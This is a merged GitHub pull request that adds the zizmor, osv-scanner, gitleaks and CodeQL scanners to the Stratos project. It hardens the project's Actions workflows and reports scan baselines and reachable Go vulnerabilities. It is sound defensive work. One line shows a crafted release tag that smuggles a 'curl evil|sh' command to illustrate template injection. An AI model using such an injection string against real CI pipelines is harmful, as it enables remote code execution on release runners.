Skip to content

Adopt zizmor, osv-scanner, gitleaks and CodeQL security scanners - #5616

Merged
norman-abramovitz merged 5 commits into
cloudfoundry:developfrom
nabramovitz:norm/security/5611-zizmor-audit
Jul 10, 2026
Merged

Adopt zizmor, osv-scanner, gitleaks and CodeQL security scanners#5616
norman-abramovitz merged 5 commits into
cloudfoundry:developfrom
nabramovitz:norm/security/5611-zizmor-audit

Conversation

@nabramovitz

Copy link
Copy Markdown
Contributor

Part of #5611.

Adopts three of the four scanners proposed there and fixes everything the new workflow scan found. CodeQL is the remaining item on that issue — it needs its own workflow and repo settings, so it stays open for a follow-up.

New scanners in make audit

Target Tool Surface
make audit actions zizmor GitHub Actions workflows (SAST)
make audit packages osv-scanner every lockfile + go.mod in one pass, including website/ and tools/stb which bun audit (root-only) missed
make audit secrets gitleaks working-tree secret scan

Plain make audit now runs all five scanners (the three above plus the existing frontend/backend ones). Each modifier still runs standalone. The zizmor recipe uses a gh token when one is available so the online audits (impostor commits, known-vulnerable actions) run too, and falls back to --offline otherwise.

.gitleaks.toml allowlists the reviewed non-secrets: the published dev encryption key from the sample configs, build output (dist/, .angular/), the committed localhost TLS pair, legacy deploy samples, and jetstream test fixtures. Current state: no leaks reported.

Workflow hardening

The first zizmor run reported 143 findings (79 high) across the 8 workflows; this PR fixes them all — it now reports zero in both offline and online modes.

  • Pinned every action to a commit SHA (66 findings), version tag kept as a trailing comment. The dormant container-push workflow's checkout@v3 / login-action@v2 were normalized to the same majors used elsewhere (v4/v3).
  • Template injection: version tags, dispatch inputs and release tag names now pass through step env: instead of interpolating into run: scripts (a crafted tag like v1.0.0"; curl evil|sh would previously have executed on the release and docker paths).
  • Least-privilege permissions: every workflow declares top-level contents: read; write scopes moved to the jobs that need them (packages: write on the docker build jobs, pages/id-token on the Pages deploy job, contents: write on release creation, actions: write on the docker trigger). pr.yml and stb_tests.yml keep pull-requests: read for dorny/paths-filter.
  • persist-credentials: false on all 18 checkouts — no job pushes via git credentials.
  • Release-path cache opt-out: the release build job disables setup-bun and setup-go caching so a cache seeded by a lower-privilege run can't flow into published artifacts. The setup-node hit is a false positive (no cache: input is set) and carries an inline ignore with the reason.
  • Two third-party actions removed from the release path: softprops/action-gh-releasegh release create (with --verify-tag, so a typo'd manual dispatch fails instead of minting a new tag from the default branch), and actions/github-scriptgh workflow run.

Drive-by fix

src/jetstream/plugins/kubernetes/auth/cert_tests.go (flagged by gitleaks for its fixture key) turned out to be a misnamed test file: it never matched the _test.go convention, so TestFetchCertAuth compiled into the production package and never ran. Renamed to cert_test.go and updated to the current extractCerts contract (form fields rather than a raw cert:key body); the fixture is an expired 2018 minikube dummy cert. The test now runs and passes.

Verification

  • zizmor .github/workflows/ — no findings (offline and online)
  • gitleaks dir . — no leaks
  • all 8 workflows parse as valid YAML
  • revived Go test passes; full make check gate green
  • make -n verified the new modifiers run standalone and that make audit / make outdated / make dump defaults are unchanged

cert_tests.go never matched go test's _test.go convention, so
TestFetchCertAuth compiled into the production package (dragging
testing/httptest along) and never ran. Renamed to cert_test.go and
updated the request to the current extractCerts contract: cert and
certKey as form fields rather than a raw cert:key body. Replaced
t.Fail() with t.Fatal on setup errors — the old flow continued past
a nil result and segfaulted once the test actually executed.
make audit gains three modifiers alongside frontend/backend:
  actions   zizmor over .github/workflows (online via gh token when
            available, offline otherwise)
  packages  osv-scanner in one pass over every lockfile and go.mod,
            including website/ and tools/stb which bun audit missed
  secrets   gitleaks over the working tree

Default make audit now runs all five. outdated keeps its
frontend+backend default. .gitleaks.toml allowlists reviewed
non-secrets: the published dev encryption key, build output, the
committed localhost TLS pair, legacy deploy samples, and jetstream
test fixtures.
Remediates all 143 findings from the new make audit actions scan
(zizmor, adopted in the previous commit):

- unpinned-uses: every action pinned to a commit SHA with its
  version tag in a trailing comment. container-push's stale
  checkout@v3 and login-action@v2 normalized to the same majors
  used everywhere else (v4/v3).
- template-injection: version tags, dispatch inputs and other
  expressions now pass through step env instead of interpolating
  into run scripts.
- excessive-permissions: every workflow declares least-privilege
  top-level permissions; write scopes (packages, pages/id-token,
  contents, actions) move to the jobs that need them. pr.yml and
  stb_tests keep pull-requests: read for dorny/paths-filter.
- artipacked: persist-credentials: false on all 18 checkouts;
  nothing pushes via git credentials.
- cache-poisoning: the release build job opts out of setup-bun and
  setup-go caching so a poisoned cache can't reach published
  artifacts. The setup-node hit is a false positive (no cache:
  input set) and carries an inline ignore with the reason.
- superfluous-actions: softprops/action-gh-release and
  actions/github-script replaced with gh release create
  (--verify-tag, so a typo'd dispatch version fails instead of
  minting a tag) and gh workflow run — two fewer third-party
  actions on the release path.

zizmor now reports zero findings in both offline and online modes.
Adopt CodeQL for Go and JavaScript/TypeScript, the last scanner named in
5611. Runs on push/PR to develop and main plus a weekly schedule, using
build-free extraction for both languages. Uploads to the code-scanning tab.

Completes the 5611 scanner set alongside zizmor, osv-scanner and gitleaks.
@github-advanced-security

Copy link
Copy Markdown

You are seeing this message because GitHub Code Scanning has recently been set up for this repository, or this pull request contains the workflow file for the Code Scanning tool.

What Enabling Code Scanning Means:

  • The 'Security' tab will display more code scanning analysis results (e.g., for the default branch).
  • Depending on your configuration and choice of analysis tool, future pull requests will be annotated with code scanning analysis results.
  • You will be able to see the analysis results for the pull request's branch on this overview once the scans have completed and the checks have passed.

For more information about GitHub Code Scanning, check out the documentation.

Go has no build-free extraction mode in CodeQL; the initial build-mode:
none failed init. autobuild resolves src/jetstream/go.mod on its own.
@nabramovitz

nabramovitz commented Jul 10, 2026

Copy link
Copy Markdown
Contributor Author

Baseline from running the full make audit set on this branch (b6af3dbc52), plus the CodeQL run now wired into CI. Recording it as the starting point these scanners establish — nothing gates yet.

Dependency advisories (CVE/CVSS severity)

bun, osv-scanner and trivy all rate on the standard CVE severity scale, so they tally together:

Scanner (surface) Critical High Medium Low Unknown Total Notes
bun audit (frontend deps) 1 8 21 2 0 32 All in build/dev tooling (angular-devkit, eslint, cypress chains); none in shipped runtime deps
osv-scanner (all lockfiles + go.mods) 2 20 34 7 10 73 26 Go (jetstream/backend), 47 npm (frontend build + website docs + tools/stb dev tool)
trivy (7 go.mod + 1 Dockerfile) 0 6 8 2 7 23 7 unknowns are all the one golang.org/x/crypto openpgp advisory; + 2 Dockerfile misconfigs not counted above1

Code-level scanners (different rating axes — can't share the table above)

  • gosec (Go SAST, 274 files) — 240 issues, rated by its own severity × confidence, not CVE: 53 high / 38 medium / 149 low severity; 193 high-confidence. The bulk is noise — 149 are unhandled-error (G104) and ~37 of the "high" are G101 hard-coded-credential false positives on constant names. Needs a curated config before it can gate.
  • govulncheck (Go, reachability) — 8 vulnerabilities on reachable call paths. No severity scale; reachability is the rating, which is what makes these the act-first set. Full list in a follow-up comment.

Actions & secrets — clean

  • zizmor (Actions workflows) — 0 findings (setup-node cache-poisoning FP suppressed inline).
  • gitleaks (working tree, 15 MB) — no leaks.

CodeQL (go + javascript-typescript) added in this PR, both jobs passing.

Build tooling vs. shipped code. Most of the volume never ships: bun's 32 and 47 of osv's 73 sit in the frontend build chain, the website docs site, and the tools/stb dev tool. The findings in shipped code are all backend (jetstream) — osv's 26 Go advisories, trivy's 23, and gosec's 240 SAST hits — and of those, only govulncheck's 8 are on reachable call paths. So the act-first list is 8, not 73 + 240.

Dependabot on develop — stale branch vs. current tree

Snapshot Critical High Medium Low Total
Branch ~6 weeks behind (stale) 52 91 127 14 284
Current develop (c217713d39) 0 12 16 6 34

The 250-alert drop is dependency bumps already merged to develop, surfaced by bringing the branch current — not a change in this PR (which touches no lockfiles). Recorded to show the tree's real state against the stale figure.

Footnotes

  1. The 2 trivy Dockerfile misconfigurations are in src/jetstream/plugins/analysis/container/Dockerfile, separate from the dependency advisories: DS-0002 (HIGH) — the final USER is root (line 14); set a non-root USER so the container doesn't run as root. DS-0026 (LOW) — no HEALTHCHECK instruction.

@nabramovitz
nabramovitz marked this pull request as ready for review July 10, 2026 09:28
@nabramovitz nabramovitz changed the title Adopt zizmor, osv-scanner and gitleaks security scanners Adopt zizmor, osv-scanner, gitleaks and CodeQL security scanners Jul 10, 2026
@nabramovitz

nabramovitz commented Jul 10, 2026

Copy link
Copy Markdown
Contributor Author

govulncheck detail — 8 reachable (the act-first list)

These are the only findings on reachable call paths in shipped jetstream code, so they're the ones worth triaging first. All in backend Go.

# ID Module Summary Fix
1 GO-2026-5932 golang.org/x/crypto openpgp package is unmaintained/unsafe by design none (drop usage)
2 GO-2026-5856 stdlib crypto/tls Encrypted Client Hello privacy leak go1.26.5 (on 1.26.4)
3 GO-2026-5622 containerd CRI checkpoint symlink arbitrary host-log read none
4 GO-2026-5338 containerd CRI checkpoint import local image-tag poisoning none
5 GO-2026-5064 containerd CRI checkpoint restore CDI annotation smuggling none
6 GO-2025-4020 nwaples/rardecode Unrestricted RAR dictionary size DoS none
7 GO-2025-3605 mholt/archiver/v3 Path traversal via crafted ZIP none
8 GO-2024-2698 mholt/archiver/v3 Path traversal (archiver) none

Triage read:

So the realistic near-term reduction is 8 → 4 (Go bump + archiver removal), with the containerd three gated on upstream.

@norman-abramovitz norman-abramovitz left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@norman-abramovitz
norman-abramovitz merged commit 6a773c9 into cloudfoundry:develop Jul 10, 2026
21 checks passed
@nabramovitz
nabramovitz deleted the norm/security/5611-zizmor-audit branch July 10, 2026 10:11
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants